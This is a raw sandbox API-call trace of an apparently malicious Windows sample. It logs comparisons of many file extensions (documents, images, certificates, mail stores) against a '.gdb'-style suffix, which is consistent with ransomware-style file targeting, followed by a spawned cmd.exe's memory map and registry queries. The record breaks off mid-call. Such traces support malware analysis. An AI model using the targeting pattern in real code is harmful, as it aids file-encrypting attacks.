[0115.281] lstrcmpiW (lpString1=".mft", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mfw") returned 4 [0115.281] lstrcmpiW (lpString1=".mfw", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mht") returned 4 [0115.281] lstrcmpiW (lpString1=".mht", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mhtml") returned 6 [0115.281] lstrcmpiW (lpString1=".mhtml", lpString2="c].gdb") returned -1 [0115.281] lstrlenW (lpString=".mka") returned 4 [0115.281] lstrcmpiW (lpString1=".mka", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mkidx") returned 6 [0115.281] lstrcmpiW (lpString1=".mkidx", lpString2="c].gdb") returned -1 [0115.281] lstrlenW (lpString=".mkv") returned 4 [0115.281] lstrcmpiW (lpString1=".mkv", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mos") returned 4 [0115.281] lstrcmpiW (lpString1=".mos", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mov") returned 4 [0115.281] lstrcmpiW (lpString1=".mov", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mp3") returned 4 [0115.281] lstrcmpiW (lpString1=".mp3", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mp4") returned 4 [0115.281] lstrcmpiW (lpString1=".mp4", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mpeg") returned 5 [0115.281] lstrcmpiW (lpString1=".mpeg", lpString2="].gdb") returned -1 [0115.282] lstrlenW (lpString=".mpg") returned 4 [0115.282] lstrcmpiW (lpString1=".mpg", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".mpv") returned 4 [0115.282] lstrcmpiW (lpString1=".mpv", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".mrw") returned 4 [0115.282] lstrcmpiW (lpString1=".mrw", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".msg") returned 4 [0115.282] lstrcmpiW (lpString1=".msg", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".mxl") returned 4 [0115.282] lstrcmpiW (lpString1=".mxl", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".myd") returned 4 [0115.282] lstrcmpiW (lpString1=".myd", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".myi") returned 4 [0115.282] lstrcmpiW (lpString1=".myi", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".nef") returned 4 [0115.282] lstrcmpiW (lpString1=".nef", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".nrw") returned 4 [0115.282] lstrcmpiW (lpString1=".nrw", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".obj") returned 4 [0115.282] lstrcmpiW (lpString1=".obj", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".odb") returned 4 [0115.282] lstrcmpiW (lpString1=".odb", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".odc") returned 4 [0115.282] lstrcmpiW (lpString1=".odc", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".odm") returned 4 [0115.282] lstrcmpiW (lpString1=".odm", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".odp") returned 4 [0115.282] lstrcmpiW (lpString1=".odp", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".ods") returned 4 [0115.282] lstrcmpiW (lpString1=".ods", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".oft") returned 4 [0115.282] lstrcmpiW (lpString1=".oft", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".one") returned 4 [0115.282] lstrcmpiW (lpString1=".one", lpString2=".gdb") returned 1 [0115.282] lstrlenW (lpString=".onepkg") returned 7 [0115.282] lstrcmpiW (lpString1=".onepkg", lpString2="cc].gdb") returned -1 [0115.283] lstrlenW (lpString=".onetoc2") returned 8 [0115.283] lstrcmpiW (lpString1=".onetoc2", lpString2=".cc].gdb") returned 1 [0115.283] lstrlenW (lpString=".opt") returned 4 [0115.283] lstrcmpiW (lpString1=".opt", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".oqy") returned 4 [0115.283] lstrcmpiW (lpString1=".oqy", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".orf") returned 4 [0115.283] lstrcmpiW (lpString1=".orf", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".p12") returned 4 [0115.283] lstrcmpiW (lpString1=".p12", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".p7b") returned 4 [0115.283] lstrcmpiW (lpString1=".p7b", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".p7c") returned 4 [0115.283] lstrcmpiW (lpString1=".p7c", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pam") returned 4 [0115.283] lstrcmpiW (lpString1=".pam", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pbm") returned 4 [0115.283] lstrcmpiW (lpString1=".pbm", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pct") returned 4 [0115.283] lstrcmpiW (lpString1=".pct", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pcx") returned 4 [0115.283] lstrcmpiW (lpString1=".pcx", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pdd") returned 4 [0115.283] lstrcmpiW (lpString1=".pdd", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pdf") returned 4 [0115.283] lstrcmpiW (lpString1=".pdf", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pdp") returned 4 [0115.283] lstrcmpiW (lpString1=".pdp", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pef") returned 4 [0115.283] lstrcmpiW (lpString1=".pef", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pem") returned 4 [0115.283] lstrcmpiW (lpString1=".pem", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pff") returned 4 [0115.283] lstrcmpiW (lpString1=".pff", lpString2=".gdb") returned 1 [0115.283] lstrlenW (lpString=".pfm") returned 4 [0115.283] lstrcmpiW (lpString1=".pfm", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".pfx") returned 4 [0115.284] lstrcmpiW (lpString1=".pfx", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".pgm") returned 4 [0115.284] lstrcmpiW (lpString1=".pgm", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".php") returned 4 [0115.284] lstrcmpiW (lpString1=".php", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".php3") returned 5 [0115.284] lstrcmpiW (lpString1=".php3", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".php4") returned 5 [0115.284] lstrcmpiW (lpString1=".php4", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".php5") returned 5 [0115.284] lstrcmpiW (lpString1=".php5", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".phtml") returned 6 [0115.284] lstrcmpiW (lpString1=".phtml", lpString2="c].gdb") returned -1 [0115.284] lstrlenW (lpString=".pict") returned 5 [0115.284] lstrcmpiW (lpString1=".pict", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".pl") returned 3 [0115.284] lstrcmpiW (lpString1=".pl", lpString2="gdb") returned -1 [0115.284] lstrlenW (lpString=".pls") returned 4 [0115.284] lstrcmpiW (lpString1=".pls", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".pm") returned 3 [0115.284] lstrcmpiW (lpString1=".pm", lpString2="gdb") returned -1 [0115.284] lstrlenW (lpString=".png") returned 4 [0115.284] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".pnm") returned 4 [0115.284] lstrcmpiW (lpString1=".pnm", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".pot") returned 4 [0115.284] lstrcmpiW (lpString1=".pot", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".potm") returned 5 [0115.284] lstrcmpiW (lpString1=".potm", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".potx") returned 5 [0115.284] lstrcmpiW (lpString1=".potx", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".ppa") returned 4 [0115.284] lstrcmpiW (lpString1=".ppa", lpString2=".gdb") returned 1 [0115.284] lstrlenW (lpString=".ppam") returned 5 [0115.284] lstrcmpiW (lpString1=".ppam", lpString2="].gdb") returned -1 [0115.284] lstrlenW (lpString=".ppm") returned 4 [0115.285] lstrcmpiW (lpString1=".ppm", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".pps") returned 4 [0115.285] lstrcmpiW (lpString1=".pps", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".ppsm") returned 5 [0115.285] lstrcmpiW (lpString1=".ppsm", lpString2="].gdb") returned -1 [0115.285] lstrlenW (lpString=".ppt") returned 4 [0115.285] lstrcmpiW (lpString1=".ppt", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".pptm") returned 5 [0115.285] lstrcmpiW (lpString1=".pptm", lpString2="].gdb") returned -1 [0115.285] lstrlenW (lpString=".pptx") returned 5 [0115.285] lstrcmpiW (lpString1=".pptx", lpString2="].gdb") returned -1 [0115.285] lstrlenW (lpString=".prn") returned 4 [0115.285] lstrcmpiW (lpString1=".prn", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".ps") returned 3 [0115.285] lstrcmpiW (lpString1=".ps", lpString2="gdb") returned -1 [0115.285] lstrlenW (lpString=".psb") returned 4 [0115.285] lstrcmpiW (lpString1=".psb", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".psd") returned 4 [0115.285] lstrcmpiW (lpString1=".psd", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".pst") returned 4 [0115.285] lstrcmpiW (lpString1=".pst", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".ptx") returned 4 [0115.285] lstrcmpiW (lpString1=".ptx", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".pub") returned 4 [0115.285] lstrcmpiW (lpString1=".pub", lpString2=".gdb") returned 1 [0115.285] lstrlenW (lpString=".pwm") returned 4 [0115.285] lstrcmpiW (lpString1=".pwm", lpString2=".gdb") returned 1 Thread: id = 33 os_tid = 0xb40 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x23ced000" os_pid = "0xb50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xad4" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 455 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 456 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 457 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 458 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 459 start_va = 0x49eb0000 end_va = 0x49f08fff entry_point = 0x49eb0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 460 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 461 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 462 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 463 start_va = 0x7fff1000 end_va = 0x7fff1fff entry_point = 0x0 region_type = private name = "private_0x000000007fff1000" filename = "" Region: id = 464 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 465 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 466 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 467 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 506 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 507 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 508 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 542 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 543 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 544 start_va = 0x2f0000 end_va = 0x356fff entry_point = 0x2f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 545 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 546 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 547 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 548 start_va = 0x7fef8f20000 end_va = 0x7fef8f27fff entry_point = 0x7fef8f20000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 549 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 550 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 551 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 552 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 568 start_va = 0x90000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 569 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 570 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 571 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 572 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 573 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 574 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 575 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 576 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 577 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 578 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 579 start_va = 0x1b80000 end_va = 0x1ec2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b80000" filename = "" Region: id = 580 start_va = 0x1ed0000 end_va = 0x1f97fff entry_point = 0x1ed0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 581 start_va = 0x1ed0000 end_va = 0x1f97fff entry_point = 0x1ed0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 582 start_va = 0x1fa0000 end_va = 0x2392fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 583 start_va = 0x23a0000 end_va = 0x266efff entry_point = 0x23a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 707 start_va = 0x1b0000 end_va = 0x1c0fff entry_point = 0x1b0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Thread: id = 13 os_tid = 0x310 [0113.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afa70 | out: lpSystemTimeAsFileTime=0x1afa70*(dwLowDateTime=0xab802fb0, dwHighDateTime=0x1d46e9b)) [0113.464] GetCurrentProcessId () returned 0xb50 [0113.464] GetCurrentThreadId () returned 0x310 [0113.464] GetTickCount () returned 0x2a3ad [0113.464] QueryPerformanceCounter (in: lpPerformanceCount=0x1afa78 | out: lpPerformanceCount=0x1afa78*=1818862500000) returned 1 [0113.465] GetModuleHandleW (lpModuleName=0x0) returned 0x49eb0000 [0113.465] __set_app_type (_Type=0x1) [0113.465] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49ed7810) returned 0x0 [0113.465] __getmainargs (in: _Argc=0x49efa608, _Argv=0x49efa618, _Env=0x49efa610, _DoWildCard=0, _StartInfo=0x49ede0f4 | out: _Argc=0x49efa608, _Argv=0x49efa618, _Env=0x49efa610) returned 0 [0113.465] GetCurrentThreadId () returned 0x310 [0113.465] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x310) returned 0x3c [0113.466] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77550000 [0113.466] GetProcAddress (hModule=0x77550000, lpProcName="SetThreadUILanguage") returned 0x77566d40 [0113.466] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0113.466] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0113.466] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afa08 | out: phkResult=0x1afa08*=0x0) returned 0x2 [0113.466] VirtualQuery (in: lpAddress=0x1af9f0, lpBuffer=0x1af970, dwLength=0x30 | out: lpBuffer=0x1af970*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.466] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1af970, dwLength=0x30 | out: lpBuffer=0x1af970*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.466] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1af970, dwLength=0x30 | out: lpBuffer=0x1af970*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.466] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1af970, dwLength=0x30 | out: lpBuffer=0x1af970*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.466] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1af970, dwLength=0x30 | out: lpBuffer=0x1af970*(BaseAddress=0x1b0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0113.467] GetConsoleOutputCP () returned 0x1b5 [0113.467] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49eebfe0 | out: lpCPInfo=0x49eebfe0) returned 1 [0113.467] SetConsoleCtrlHandler (HandlerRoutine=0x49ed3184, Add=1) returned 1 [0113.467] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.467] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0113.467] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.467] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49ede194 | out: lpMode=0x49ede194) returned 0 [0113.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.467] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49ede198 | out: lpMode=0x49ede198) returned 0 [0113.467] GetEnvironmentStringsW () returned 0x208a60* [0113.468] FreeEnvironmentStringsW (penv=0x208a60) returned 1 [0113.468] GetEnvironmentStringsW () returned 0x208a60* [0113.468] FreeEnvironmentStringsW (penv=0x208a60) returned 1 [0113.468] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ae8c8 | out: phkResult=0x1ae8c8*=0x44) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x18, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x1, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x1, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x0, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x40, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x40, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x40, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.468] RegCloseKey (hKey=0x44) returned 0x0 [0113.468] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ae8c8 | out: phkResult=0x1ae8c8*=0x44) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x40, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x1, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.468] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x1, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.469] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x0, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.469] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x9, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.469] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x4, lpData=0x1ae8e0*=0x9, lpcbData=0x1ae8c4*=0x4) returned 0x0 [0113.469] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ae8c0, lpData=0x1ae8e0, lpcbData=0x1ae8c4*=0x1000 | out: lpType=0x1ae8c0*=0x0, lpData=0x1ae8e0*=0x9, lpcbData=0x1ae8c4*=0x1000) returned 0x2 [0113.469] RegCloseKey (hKey=0x44) returned 0x0 [0113.469] time (in: timer=0x0 | out: timer=0x0) returned 0x5bd578fd [0113.469] srand (_Seed=0x5bd578fd) [0113.469] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0113.469] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0113.469] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49eec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0113.469] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0113.469] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49edf360, nSize=0x2000 | out: 